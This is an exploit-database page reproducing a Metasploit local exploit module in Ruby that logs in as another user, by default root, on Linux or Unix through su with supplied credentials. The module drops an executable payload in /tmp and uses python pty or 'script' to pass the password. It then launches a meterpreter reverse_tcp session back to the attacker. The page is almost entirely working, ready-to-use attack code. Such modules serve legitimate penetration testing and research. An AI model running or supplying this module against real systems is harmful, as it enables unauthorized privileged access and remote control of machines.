Linux / Unix su Privilege Escalation

2020.10.21
Credit: Gavin Youker
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local include Msf::Post::Linux include Msf::Post::Linux::System include Msf::Post::Unix include Msf::Post::File include Msf::Exploit::FileDropper include Msf::Exploit::EXE prepend Msf::Exploit::Remote::AutoCheck Rank = NormalRanking def initialize(info = {}) super( update_info( info, 'Name' => 'Login to Another User with Su on Linux / Unix Systems', 'Description' => %q{ This module attempts to create a new login session by invoking the su command of a valid username and password. If the login is successful, a new session is created via the specified payload. Because su forces passwords to be passed over stdin, this module attempts to invoke a psuedo-terminal with python, python3, or script. }, 'License' => MSF_LICENSE, 'Author' => 'Gavin Youker <youkergav@gmail.com>', 'DisclosureDate' => '1971-11-03', 'Platform' => ['linux', 'unix'], 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Linux x86_64', { 'Arch' => ARCH_X64, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, 'SessionTypes' => ['shell', 'meterpreter'] ) ) register_options([ OptString.new('USERNAME', [true, 'Username to authenticate with.', 'root']), OptString.new('PASSWORD', [false, 'Password to authenticate with.']) ]) register_advanced_options([ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ]) end # Main function to run the exploit. def exploit fail_with(Failure::NoAccess, 'username not found') unless user_exists(datastore['USERNAME']) # Upload the payload and stager files. print_status('Uploading payload to target') payload_file = build_payload(generate_payload_exe, datastore['WritableDir']) # Execute the payload. print_status('Attempting to login with su') exec_payload(datastore['USERNAME'], datastore['PASSWORD'], payload_file) end # Function to check if target is exploitable. def check # Make sure su is installed. unless command_exists?('su') vprint_error('su not found on target machine') return CheckCode::Safe end # Make sure a program to run the exploit is installed. prorgam = find_exec_program unless prorgam vprint_error('One of the following programs must be installed on target: python, python3, script') return CheckCode::Safe end # Make sure script requirements are met. if prorgam == 'script' # Check for command dependencies. commands = ['sh', 'sleep', 'echo', 'base64'] for command in commands unless command_exists?(command) vprint_error("The '#{command}' must be installed on target") return CheckCode::Safe end end # Check that the script program is apart of the util-linux package. version = find_util_linux_verison unless version vprint_error("The 'script' program must be of the 'util-linux' package") return CheckCode::Safe end # Check that util-linux in of a compatible version. unless version >= Gem::Version.new('2.25') vprint_error("The package 'util-linux' must be version 2.25 or higher") return CheckCode::Safe end end return CheckCode::Appears end # Function to build and write the payload. def build_payload(contents, dir) fail_with(Failure::NoAccess, "directory '#{dir}' is on a noexec mount point") if noexec?(dir) filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}" write_file(filepath, contents) chmod(filepath, 755) register_files_for_cleanup(filepath) return filepath end # Function to execute the payload through the stager. def exec_payload(username, password, payload) # Load the exploit based on avaliable options. if password program = find_exec_program if ['python', 'python3'].include?(program) vprint_status("Using '#{program}' to load exploit") python = 'import os, pty, base64;'\ 'read = lambda fd: os.read(fd, 1024);'\ "write = lambda fd: base64.b64decode('#{Rex::Text.encode_base64(password)}');"\ "command = 'su - #{username} -c #{payload}';"\ 'os.close(0);'\ 'pty.spawn(command.split(), read, write);' command = "#{program} -c \"#{python}\"" elsif program == 'script' vprint_status("Using 'script' to load exploit") command = "sh -c 'sleep 1; echo #{Rex::Text.encode_base64(password)} | base64 -d' | script /dev/null -qc 'su - #{username} -c #{payload}'" end else command = "su - #{username} -c #{payload}" end # Execute the exploit. response = cmd_exec(command) fail_with(Failure::NoAccess, 'invalid password') if response.to_s.include?('Authentication failure') return true end def find_exec_program return 'python' if command_exists?('python') return 'python3' if command_exists?('python3') return 'script' if command_exists?('script') return false end # Function to check if the user exists. def user_exists(username) return get_users.any? { |user| user[:name] == username } end # Function to get util-linux version. def find_util_linux_verison response = cmd_exec('script -V') match = response.match(/script from util-linux (?<version>\d.\d+(.\d+)?)/) return false unless match return Gem::Version.new(match[:version]) end end


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top